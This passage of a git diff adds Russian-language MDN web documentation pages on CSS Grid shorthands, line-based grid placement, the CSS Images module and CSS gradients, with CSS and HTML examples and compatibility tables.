+ +

{{ EmbedLiveSample('Media_1', '300', '200') }}

+
+ +

Отображение изображения с другой стороны окна

+ +

Возможно, нам захочется отобразить нашу коробку с изображением наоборот. Для этого мы переопределим сетку, чтобы поместить последний трек 1fr и просто переверните значения {{cssxref ("grid-template-areas")}}.

+ +
+
* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media.flipped {
+    grid-template-columns: 3fr 1fr;
+    grid-template-areas: "content img";
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+
+ +
<div class="media flipped">
+    <div class="image"></div>
+    <div class="text">This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    </div>
+</div>
+ +

{{ EmbedLiveSample('Media_2', '300', '200') }}

+
+ +

Сокращения определения сетки

+ +

Рассмотрев различные способы размещения элементов на наших сетках и многие свойства, используемые для определения сетки, самое время взглянуть на пару сокращений, доступных для определения сетки и многое из всего этого в одной строке CSS.

+ +

Они могут быстро стать трудными для чтения для других разработчиков или даже для вашего будущего. Однако они являются частью спецификации и, вероятно, вы столкнетесь с ними в примерах или в использовании другими разработчиками, даже если вы решите не использовать их.

+ +

Прежде чем использовать какиу-либо сокращения (shorthand), стоит помнить, что shorthand не только позволяют устанавливать множество свойств за один раз, но также действуют, чтобы сбросить объекты до их начальных значений, которых вы не используете, или не можете установить в сокращении. Поэтому, если вы используете сокращения, помните, что оно может сбросить все, что вы применили в другом месте.

+ +

Два сокращения (shorthand) для контейнера сетки - это Explicit Grid Shorthand grid-template и Grid Definition Shorthand grid.

+ +

grid-template

+ +

Свойство {{cssxref ("grid-template")}} задает следующие свойства:

+ +
    +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-areas")}}
    • +
+ +

Свойство называется явным сокращением сетки, потому что оно устанавливает те вещи, которые вы контролируете, когда вы определяете явную сетку, а не те, которые влияют на любые неявные строки или столбцы, которые могут быть созданы.

+ +

Следующий код создает макет, используя {{cssxref ("grid-template")}}, который совпадает с макетом, созданным ранее в этом руководстве.

+ +
.wrapper {
+    display: grid;
+    grid-template:
+      "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+      "sd sd sd main main main main main main" minmax(100px, auto)
+      "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+             / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+
+ +

Первое значение - это значение нашей grid-template-areas, но мы также объявляем размер строки в конце каждой строки. Это то, что делает minmax (100px, auto).

+ +

Затем после grid-template-areas у нас есть косая черта, после чего явный список треков столбцов.

+ +

grid

+ +

Сокращение {{cssxref ("grid")}} идет еще дальше, а также задает свойства, используемые неявной сеткой. Таким образом, вы будете устанавливать:

+ +
    +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-areas")}}
    • +
  • {{cssxref("grid-auto-rows")}}
    • +
  • {{cssxref("grid-auto-columns")}}
    • +
  • {{cssxref("grid-auto-flow")}}
    • +
+ +

Свойство также сбрасывает {{cssxref ("grid-gap")}} свойство на 0, однако вы не можете указывать пробелы в этой сокращенности.

+ +

Вы можете использовать этот синтаксис точно так же, как сокращение {{cssxref ("grid-template")}}, просто знайте, что при этом вы сбросите другие значения, установленные этим свойством.

+ +
.wrapper {
+    display: grid;
+    grid: "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+    "sd sd sd main main main main main main" minmax(100px, auto)
+    "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+    / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+
+ +

Мы снова рассмотрим другие функции, предлагаемые этом сокращением позже в этих руководствах, когда мы рассмотрим автоматическое размещение и свойство grid-auto-flow.

+ +

Если вы проработали эти начальные руководства, теперь вы должны иметь возможность создавать сетки с использованием линейного размещения или названных областей. Потратьте некоторое время на создание некоторых общих шаблонов макетов с использованием сетки, в то время как есть много новых терминов для изучения, синтаксис относительно прост. По мере того, как вы разрабатываете примеры, вы, вероятно, придумаете некоторые вопросы и воспользуетесь случаями, которые мы еще не рассмотрели. В остальных этих руководствах мы рассмотрим некоторые детали, включенные в спецификацию, - чтобы вы могли начать создавать с ним расширенные макеты.

+ + diff --git "a/files/ru/web/css/css_grid_layout/\321\200\320\260\321\201\320\277\320\276\320\273\320\276\320\266\320\265\320\275\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\277\320\276_\320\263\321\200\320\270\320\264-\320\273\320\270\320\275\320\270\321\217\320\274_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_css_grid/index.html" "b/files/ru/web/css/css_grid_layout/\321\200\320\260\321\201\320\277\320\276\320\273\320\276\320\266\320\265\320\275\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\277\320\276_\320\263\321\200\320\270\320\264-\320\273\320\270\320\275\320\270\321\217\320\274_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_css_grid/index.html" new file mode 100644 index 0000000000..e470a72ce7 --- /dev/null +++ "b/files/ru/web/css/css_grid_layout/\321\200\320\260\321\201\320\277\320\276\320\273\320\276\320\266\320\265\320\275\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\277\320\276_\320\263\321\200\320\270\320\264-\320\273\320\270\320\275\320\270\321\217\320\274_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_css_grid/index.html" @@ -0,0 +1,652 @@ +--- +title: Расположение элементов по грид-линиям с помощью CSS Grid +slug: >- + Web/CSS/CSS_Grid_Layout/Расположение_элементов_по_грид-линиям_с_помощью_CSS_Grid +tags: + - CSS + - CSS Grid + - Грид + - Руководство + - Сетка +translation_of: Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid +--- +

В статье, касавшейся основных понятий позиционирования элементов с помощью гридов, мы кратенько рассмотрели, как располагать элементы в гриде, используя номера линий. Теперь давайте детально исследуем то, как работает эта фундаментальная часть спецификации.

+ +

Собственно, начать квест по гридам со знакомства с пронумерованными линиями - логично, потому что в ситуации, когда Вы работаете с гридами, пронумерованные линии у Вас есть всегда. Линии нумеруются и для колонок, и для строк, отсчет начинается с 1. Нужно заметить, что грид индексируется в соответствии с режимом написания (writing mode) документа. В языках с написанием слева направо, таких как русский, например, линия 1 - самая левая линия грида. Если написание справа налево, то линия 1 будет, соответственно, самой правой линией в гриде. По ходу изучения недр мы детально узнаем, как гриды взаимодействуют с режимами написания, поэтому не исчезайте, впереди много интересного.

+ +

Базовый пример

+ +

В качестве крайне простого примера давайте возьмем грид с тремя треками-колонками и тремя треками-строками. Такой грид дает нам по 4 линии для каждого направления.

+ +

Внутри нашего грид-контейнера у нас есть четыре дочерних элемента. Если мы не размещаем их явным образом, эти элементы будут расположены в гриде в соответствии с правилами авторазмещения, то есть, по одному элементу - в каждой из четырех первых ячеек. Если Вы воспользуетесь Firefox Grid Highlighter , то увидете, как грид инициирует колонки и строки.

+ +

Our Grid highlighted in DevTools

+ + + +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-template-rows: repeat(3, 100px);
+}
+
+ +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +

{{ EmbedLiveSample('A_basic_example', '300', '330') }}

+ +

Позиционирование элементов по номерам линий

+ +

Мы можем воспользоваться размещением по линиям (line-based placement), чтобы расположить элементы на гриде. Например, нам нужно, чтобы первый элемент начинался от левого края и занимал один трек-колонку. Пусть он также начинается с первой строчной линии,  то есть, от верхнего края грида, и занимает пространство до четвертой строчной линии.

+ +
+
.box1 {
+   grid-column-start: 1;
+   grid-column-end: 2;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+
+ +

Если Вы явно позиционируете одни элементы, другие элементы грида по-прежнему размещаются в соответствии с правилами авторазмещения. Дальше мы детально рассмотрим, как это происходит, а пока Вы и сами могли заметить, что по мере размещения одних элементов, оставшиеся элементы занимают пустые ячейки грида.

+ +

Задавая адреса для каждого элемента по отдельности, мы можем разместить все наши четыре элемента по колонкам и строкам. Заметьте, что при желании можно оставить ячейки пустыми. Одна из самых приятных вещей при работе с Grid Layout - возможность создавать негативное пространство (пустые области в макете) без кувырков через голову и прочих хаков.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box2 {
+   grid-column-start: 3;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 3;
+   grid-row-start: 1;
+   grid-row-end: 2;
+}
+.box4 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 3;
+   grid-row-end: 4;
+}
+
+ +

{{ EmbedLiveSample('Line_Number', '300', '330') }}

+
+ +
+

Сокращения grid-column и grid-row

+ +

Мы написали много кода, чтобы разместить каждый элемент. Неудивительно, что существует краткая форма записи свойств. {{cssxref("grid-column-start")}} и {{cssxref("grid-column-end")}} могут быть объединены в одном {{cssxref("grid-column")}}, а {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}} - в {{cssxref("grid-row")}}.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column: 1 / 2;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 / 4;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 / 3;
+   grid-row: 1 /  2;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 / 4;
+}
+
+ +

{{ EmbedLiveSample('Grid_Shorthands', '300', '330') }}

+
+ +

Расположение элемента по умолчанию

+ +

В примерах выше мы задавали конечную линию для строки и колонки, чтобы продемонстрировать работу свойств, однако, если элемент занимает только один трек, Вы можете опустить значение grid-column-end или grid-row-end. Грид по умолчанию размещает элемент таким образом, чтобы он занимал всего один трек. Это значит, что длинная запись свойств в нашем первоначальном примере может выглядеть вот так:

+ +
+ + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column-start: 1;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+.box2 {
+   grid-column-start: 3;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-row-start: 1;
+}
+.box4 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 3;
+}
+
+ +

{{ EmbedLiveSample('End_Lines', '300', '330') }}

+
+ +

Поэтому, если мы хотим, чтобы элементы занимали только один трек, наша сокращенная запись будет выглядеть вот так, без слэша и без второго значения:

+ +
+ + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+
+ +

{{ EmbedLiveSample('New_Shorthand', '300', '330') }}

+
+ +

Свойство grid-area

+ +

Мы можем пойти еще дальше и определить целую область с помощью одного единственного свойства – {{cssxref("grid-area")}}. Порядок свойств для грид-области следующий:

+ +
    +
  • grid-row-start
    • +
  • grid-column-start
    • +
  • grid-row-end
    • +
  • grid-column-end
    • +
+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+.box2 {
+   grid-area: 1 / 3 / 3 / 4;
+}
+.box3 {
+   grid-area: 1 / 2 / 2 / 3;
+}
+.box4 {
+   grid-area: 3 / 2 / 4 / 4;
+}
+
+ +

{{ EmbedLiveSample('The_grid-area_property', '300', '330') }}

+ +

Порядок значений для grid-area может показаться немного странным, он противоположен тому порядку, в котором мы, например, записываем значения для сокращенных свойств margin и padding. Но сделано это потому, что грид работает с направлениями относительно потока, определенными в спецификации CSS Writing Modes. В дальнейшем мы рассмотрим, как гриды взаимодействуют с режимами написания (writing modes), но пока давайте примем за данность, что мы имеем дело с концепцией четырех направлений относительно потока:

+ +
    +
  • block-start (начало блока)
    • +
  • block-end (конец блока)
    • +
  • inline-start (начало строки)
    • +
  • inline-end (конец строки)
    • +
+ +

Мы работаем с русским, языком с написанием слева направо. Начало нашего блока (block-start) - верхняя строчная линия грид-контейнера, конец блока (block-end) - последняя строчная линия контейнера. Начало строки (inline-start) - самая левая колоночная линия, поскольку начало строки - это всегда точка, с которой начинается написание текста в заданном режиме написания. Конец строки (inline-end) - последняя колоночная линия грида.

+ +

Когда мы задаем нашу грид-область с помощью свойства grid-area , мы сначала определяем обе начальные линии block-start и inline-start, а затем обе конечные линии  block-end и inline-end. Поскольку мы давно работаем с физическими свойствами top, right, bottom и left, поначалу это кажется непривычным, но вполне осмысленно, если осознать, что относительно режима написания вебсайты - многонаправленные структуры.

+ +

Считая с конца

+ +

Мы также можем отсчитывать грид-линии с конца, то есть с последней (для русского языка - самой правой) колоночной и последней (самой нижней) строчной линий. Индекс этих линий будет -1, а линий непосредственно перед ними -2, и так далее. Нужно помнить, что под последней линией понимается последняя линия явного грида (explicit grid), то есть грида, определенного с помощью grid-template-columns иgrid-template-rows. Любые линии строк и колонок, добавленные неявным гридом (implicit grid) не считаются.

+ +

В примере ниже мы "перевернули" определение нашего грида, при размещении элементов задавая линии с конца, то есть, от правого и нижнего краев.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column-start: -1;
+   grid-column-end: -2;
+   grid-row-start: -1;
+   grid-row-end: -4;
+}
+.box2 {
+   grid-column-start: -3;
+   grid-column-end: -4;
+   grid-row-start: -1;
+   grid-row-end: -3;
+}
+.box3 {
+   grid-column-start: -2;
+   grid-column-end: -3;
+   grid-row-start: -1;
+   grid-row-end: -2;
+}
+.box4 {
+   grid-column-start: -2;
+   grid-column-end: -4;
+   grid-row-start: -3;
+   grid-row-end: -4;
+}
+
+ +

{{ EmbedLiveSample('Counting_backwards', '300', '330') }}

+ +

Как растянуть элемент на длину всего грида?

+ +

Возможность адресовать и первую, и последнюю линии грида становится крайне полезной, если нам нужно растянуть элемент на всю длину грида. Сделать это можно вот так:

+ +
.item {
+  grid-column: 1 / -1;
+}
+
+ +

Зазоры (Gutters) или аллеи (Alleys)

+ +

Спецификация CSS Grid включает возможность добавлять промежутки (зазоры) между треками-колонками и треками-строками с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}. Эти свойства задают промежутки, которые во многом действуют точно так же, как свойство {{cssxref("column-gap")}} в многоколоночных макетах.

+ +

Зазоры появляются только между треками и не добавляют пространство сверху, снизу, справа или слева грид-контейнеру. Мы можем добавить зазоры в предыдущий пример, дописав эти свойства грид-контейнеру.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-column-gap: 20px;
+     grid-row-gap: 1em;
+}
+
+ +

{{ EmbedLiveSample('Gutters_or_Alleys', '300', '350') }}

+ +

Сокращенная запись для грид-зазоров

+ +

Оба свойства также можно записать с помощью свойства-сокращения {{cssxref("grid-gap")}}. Если задать только одно значение, то оно определит размер зазоров и между колонками, и между строками. Если мы задаем два значения, то первое используется для grid-row-gap , а второе - для grid-column-gap.

+ +
.wrapper {
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+     grid-gap: 1em 20px;
+}
+
+ +

В терминах расположения элементов по грид-линиям (line-based positioning) зазоры ведут себя так, как если бы самой линии была добавлена толщина. Все, что должно было начинаться от линии, начинается от нее на расстоянии зазора, и Вы не можете адресовать зазор напрямую или поместить в него что-нибудь. Если Вам нужны зазоры, которые ведут себя, как обыкновенные треки, что же - определите трек, а не зазор.

+ +

Использование ключевого слова span 

+ +

В дополнение к возможности обращаться к начальной и конечной линии по их номерам Вы можете задать номер начальной линии, а после - количество треков, которые должен занять элемент.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+  grid-column: 1;
+  grid-row: 1 / span 3;
+}
+.box2 {
+   grid-column: 3;
+   grid-row: 1 / span 2;
+}
+.box3 {
+   grid-column: 2;
+   grid-row: 1;
+}
+.box4 {
+   grid-column: 2 / span 2;
+   grid-row: 3;
+}
+
+ +

{{ EmbedLiveSample('Using_the_span_keyword', '300', '330') }}

+ +

Ключево слово  span также можно использовать в качестве значения grid-row-start/grid-row-end иgrid-column-start/grid-column-end. Два примера ниже создают одну и ту же грид-область. В первом примере мы задаем начальную строчную линию, а после говорим свойству, отвечающему за конечную линию: эй, мы хотим занять под этот элемент три линии. В итоге, грид-область начинается с первой линии и занимает пространство до 4-ой.

+ +
.box1 {
+    grid-column-start: 1;
+    grid-row-start: 1;
+    grid-row-end: span 3;
+}
+
+ +

Во втором примере поступим наоборот: зададим конечную строчную линию, а в значении свойства, отвечающего за начальную линию, напишем span 3. Это значит, что элемент должен занять три трека до заданной конечной линии. Грид-область начинается с линии 4 и занимает три трека до линии 1.

+ +
.box1 {
+    grid-column-start: 1;
+    grid-row-start: span 3;
+    grid-row-end: 4;
+}
+
+ +

Чтобы лучше освоиться с размещением элементов по грид-линиям, попробуйте собрать несколько распространенных макетов, располагая элементы на гридах с различным количеством колонок. Помните, что если вы не размещаете все Ваши элементы, оставшиеся располагаются в соответствии с правилами авторазмещения. В результате может получиться как раз тот макет, который Вам нужен, но не факт, и если что-то пошло не так, проверьте, определили ли Вы позицию для проблемного элемента.

+ +

Также помните, что элементы на гриде могут перекрывать друг друга, если Вы намеренно разместили их так, чтобы они друг друга перекрывали. Подобное поведение позволяет получить интересные эффекты, но, если Вы некорректно задали начальные и конечные линии, результат может неприятно Вас удивить. Firefox Grid Highlighter будет крайне полезен в процессе обучения, особенно, когда Вы строите сложные гриды.

+ + diff --git a/files/ru/web/css/css_images/index.html b/files/ru/web/css/css_images/index.html new file mode 100644 index 0000000000..6bd0d2b7de --- /dev/null +++ b/files/ru/web/css/css_images/index.html @@ -0,0 +1,148 @@ +--- +title: CSS Images +slug: Web/CSS/CSS_Images +tags: + - CSS Images + - CSS руководство +translation_of: Web/CSS/CSS_Images +--- +
{{CSSRef}}
+ +

CSS Images - модуль в CSS, который определяет, какие типы изображений можно использовать (тип {{cssxref("<image>")}}, содержащий URL, градиенты и другие типы изображений), как изменять их размер и как они, и другие замещённые элементы, взаимодействуют с другими моделями макетов.

+ +

Справка

+ +

Свойства

+ +
+
    +
  • {{cssxref("image-orientation")}}
    • +
  • {{cssxref("image-rendering")}}
    • +
  • {{cssxref("object-fit")}}
    • +
  • {{cssxref("object-position")}}
    • +
+
+ +

Функции

+ +
+
    +
  • {{cssxref("linear-gradient", "linear-gradient()")}}
    • +
  • {{cssxref("radial-gradient", "radial-gradient()")}}
    • +
  • {{cssxref("repeating-linear-gradient", "repeating-linear-gradient()")}}
    • +
  • {{cssxref("repeating-radial-gradient", "repeating-radial-gradient()")}}
    • +
  • {{cssxref("element", "element()")}}
    • +
+
+ +

Типы данных

+ +
+
    +
  • {{cssxref("<image>")}}
    • +
  • {{cssxref("<uri>")}}
    • +
+
+ +

Руководства

+ +
+
Использование CSS градиентов
+
Представляют собой особый тип CSS изображений, градиенты, как создавать и использовать их.
+
Создание спрайтов в CSS
+
Описывает общую технику группировки нескольких изображений в один документ, чтобы сократить количество запросов и скорость загрузки страницы.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Images')}}{{Spec2('CSS4 Images')}} 
{{SpecName('CSS3 Images')}}{{Spec2('CSS3 Images')}} 
{{SpecName('Compat', '#css-%3Cimage%3E-type', 'CSS Gradients')}}{{Spec2('Compat')}}Стандартизирует префиксную форму -webkit значений функции
{{SpecName('CSS3 Values', '#urls', '<url>')}}{{Spec2('CSS3 Values')}} 
{{Specname('CSS2.1', 'syndata.html#uri', '<uri>')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#url', '<url>')}}{{Spec2('CSS1')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{CompatGeckoDesktop("1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка1.0{{CompatGeckoMobile("1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ru/web/css/css_images/using_css_gradients/index.html b/files/ru/web/css/css_images/using_css_gradients/index.html new file mode 100644 index 0000000000..994886ec7a --- /dev/null +++ b/files/ru/web/css/css_images/using_css_gradients/index.html @@ -0,0 +1,746 @@ +--- +title: Использование CSS-градиентов +slug: Web/CSS/CSS_Images/Using_CSS_gradients +tags: + - Градиенты + - Примеры + - Руководство +translation_of: Web/CSS/CSS_Images/Using_CSS_gradients +--- +
{{CSSRef}}
+ +

CSS-градиенты представлены типом данных {{cssxref("<gradient>")}}, специальным типом {{cssxref("<image>")}}, состоящим из последовательного перехода между двумя и более цветами. Вы можете выбрать один из трёх типов градиентов: линейный (создаётся с помощью функции {{cssxref("linear-gradient")}}), круговой (создаётся с помощью {{cssxref("radial-gradient")}}) и конический (создаётся с помощью функции {{cssxref("conic-gradient")}}). Вы можете также создавать повторяющиеся градиенты с помощью функций {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} и {{cssxref("repeating-conic-gradient")}}.

+ +

Градиенты могут быть использованы везде, где может быть использован тип <image>, например в качестве фона. Так как градиенты генерируются динамически, они могут избавить от необходимости использовать файлы растровых изображений, которые ранее использовались для достижения похожих эффектов. В дополнение к этому, так как градиенты генерируются браузером, они выглядят лучше, чем растровые изображения в случае увеличения масштаба, и их размер может быть изменён на лету.

+ +

Мы начнём с того, что покажем вам линейные градиенты, затем покажем возможности, поддерживаемые всеми типами градиентов, используя линейные градиенты в качестве примера, затем перейдём к круговым, коническим и повторяющимся градиентам.

+ +

Использование линейных градиентов

+ +

Линейный градиент создаёт цветную полосу, имеющую вид прямой линии.

+ +
+

Обычный линейный градиент

+ +

Чтобы создать самый простой тип градиента, всё, что вам нужно – это указать два цвета. Они называются точки остановки цвета. Их должно быть, как минимум, две, но у вас может быть столько, сколько захотите.

+ + + +
.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('Обычный_линейный_градиент', 120, 120) }}

+
+ +
+

Изменение направления

+ +

По умолчанию линейные градиенты идут сверху вниз. Вы можете изменить угол поворота путём задания направления.

+ + + +
.horizontal-gradient {
+  background: linear-gradient(to right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('Изменение_направления', 120, 120) }}

+
+ +
+

Диагональные градиенты

+ +

Вы можете даже создать градиент, проходящий диагонально, из угла в угол.

+ + + +
.diagonal-gradient {
+  background: linear-gradient(to bottom right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('Диагональные_градиенты', 200, 100) }}

+
+ +
+

Использование углов

+ +

Если вы хотите больше контроля над его направлением, вы можете задать градиенту определённый угол.

+ + + +
.angled-gradient {
+  background: linear-gradient(70deg, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('Использование_углов', 120, 120) }}

+ +

При использовании угла 0deg создаётся вертикальный градиент, идущий снизу вверх, 90deg создаёт горизонтальный градиент, идущий слева направо, и так далее по часовой стрелке. Отрицательные углы идут против часовой стрелки.

+ +

linear_redangles.png

+
+ +

Указание цветов и создание эффектов

+ +

Все типы CSS-градиентов – это диапазон позиционно-зависимых цветов. Цвета, создаваемые CSS-градиентами, могут варьироваться непрерывно с изменением позиции, создавая плавные цветовые переходы. Возможно также создавать полосы сплошных цветов, и резкие переходы между двумя цветами. Следующее примеры работают во всех градиентных функциях:

+ +
+

Использование более двух цветов

+ +

Вам не нужно ограничиваться двумя цветами – вы можете использовать столько, сколько хотите! По умолчанию цвета равномерно распределены по градиенту.

+ + + +
.auto-spaced-linear-gradient {
+  background: linear-gradient(red, yellow, blue, orange);
+}
+
+ +

{{ EmbedLiveSample('Использование_более_двух_цветов', 120, 120) }}

+
+ +
+

Расположение точек остановок цветов

+ +

Вам не нужно оставлять ваши точки остановок цветов на их исходных позициях. Чтобы подправить их расположение, вы можете не задавать каждому ничего, или задать одну или две процентные, а для круговых и линейных градиентов – абсолютные значения. Если вы зададите расположение с процентах, 0% будет представлять начальную точку, в то время как 100% будет являться конечной точкой; однако, если необходимо, вы можете использовать значения и вне этого диапазона для достижения желаемого эффекта. Если вы не будете задавать расположение, позиция этой точки остановки будет автоматически рассчитана за вас так, что первая точка остановки будет расположена на 0%, а последняя – на 100%, а все остальные точки остановки будут расположены на полпути между соседними точками остановки.

+ + + +
.multicolor-linear {
+   background: linear-gradient(to left, lime 28px, red 77%, cyan);
+}
+
+ +

{{ EmbedLiveSample('Расположение_точек_остановок_цветов', 120, 120) }}

+
+ +
+

Создание резких переходов

+ +

Чтобы создать резкий переход между двумя цветами, т. е. получить черту вместо постепенного перехода, обе соседние точки остановки должны быть установлены в одном месте. В этом примере цвета делят точку остановки на отметке 50%, посередине градиента:

+ + + +
.striped {
+   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}
+ +

{{ EmbedLiveSample('Создание_резких_переходов', 120, 120) }}

+
+ +
+

Подсказки градиента

+ +

По умолчанию градиент идёт плавно от одного цвета до другого. Вы можете добавить цветовую подсказку, чтобы переместить значение средней точки перехода в определённую точку градиента. В этом примере мы переместили среднюю точку перехода из отметки 50% на отметку 10%.

+ + + +
.color-hint {
+  background: linear-gradient(blue, 10%, pink);
+}
+.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('Подсказки_градиента', 120, 120) }}

+
+ +
+

Создание цветных линий и полосок

+ +

Чтобы добавить внутрь градиента сплошную цветную область без плавного перехода, добавьте две позиции для точки остановки. Точки остановки могут быть в двух позициях, что эквивалентно двум подряд точкам остановки с тем же цветом на разных позициях. Цвет достигнет полной насыщенности на первой точке, проследует с той же насыщенностью до второй точки остановки и перейдёт в цвет следующей точки остановки через первую позицию следующей точки остановки.

+ + + +
.multiposition-stops {
+   background: linear-gradient(to left,
+       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
+   background: linear-gradient(to left,
+       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+   background: linear-gradient(to left,
+      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+   background: linear-gradient(to left,
+      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+
+ +

{{ EmbedLiveSample('Создание_цветных_линий_и_полосок', 120, 120) }}

+ +

В первом примере выше лаймовый цвет идёт от отметки 0%, далее, как указано, до отметки 20%, сделает переход от лаймового до красного через 10% ширины градиента, достигнет сплошного красного на отметке 30%, и останется таким до 45% градиента, где он потускнеет до голубого, оставаясь таким ещё 15% градинета, и так далее.

+ +

Во втором примере каждая вторая точка остановки для каждого цвета находится на той же позиции, что и первая точка остановки соседнего цвета, создавая полосатый эффект.

+ +

В обоих примерах градиент написан дважды: первый – это метод из CSS-изображений уровня 3 использующий повторения цвета на каждой остановке, а второй пример – это метод из CSS-изображений уровня 4, где в линейном объявлении точек остановки используются множественные точки остановки с двумя значениями длин точек остановки.

+
+ +
+

Управление переходом градиента

+ +

По умолчанию градиент плавно переходит между цветами двух соседних точек остановки, а средняя точка между этими двумя точками остановки является средним значением цветового перехода. Вы можете контролировать интерполяцию или переход между двумя точками остановки добавлением его расположения в цветовой подсказке. В этом примере цвет достигает средней точки перехода от лаймового до голубого на растоянии 20% градиента вместо стандартных 50%. Во втором примере нет такой подсказки, чтобы подчеркнуть отличие, получаемое при её использовании:

+ + + +
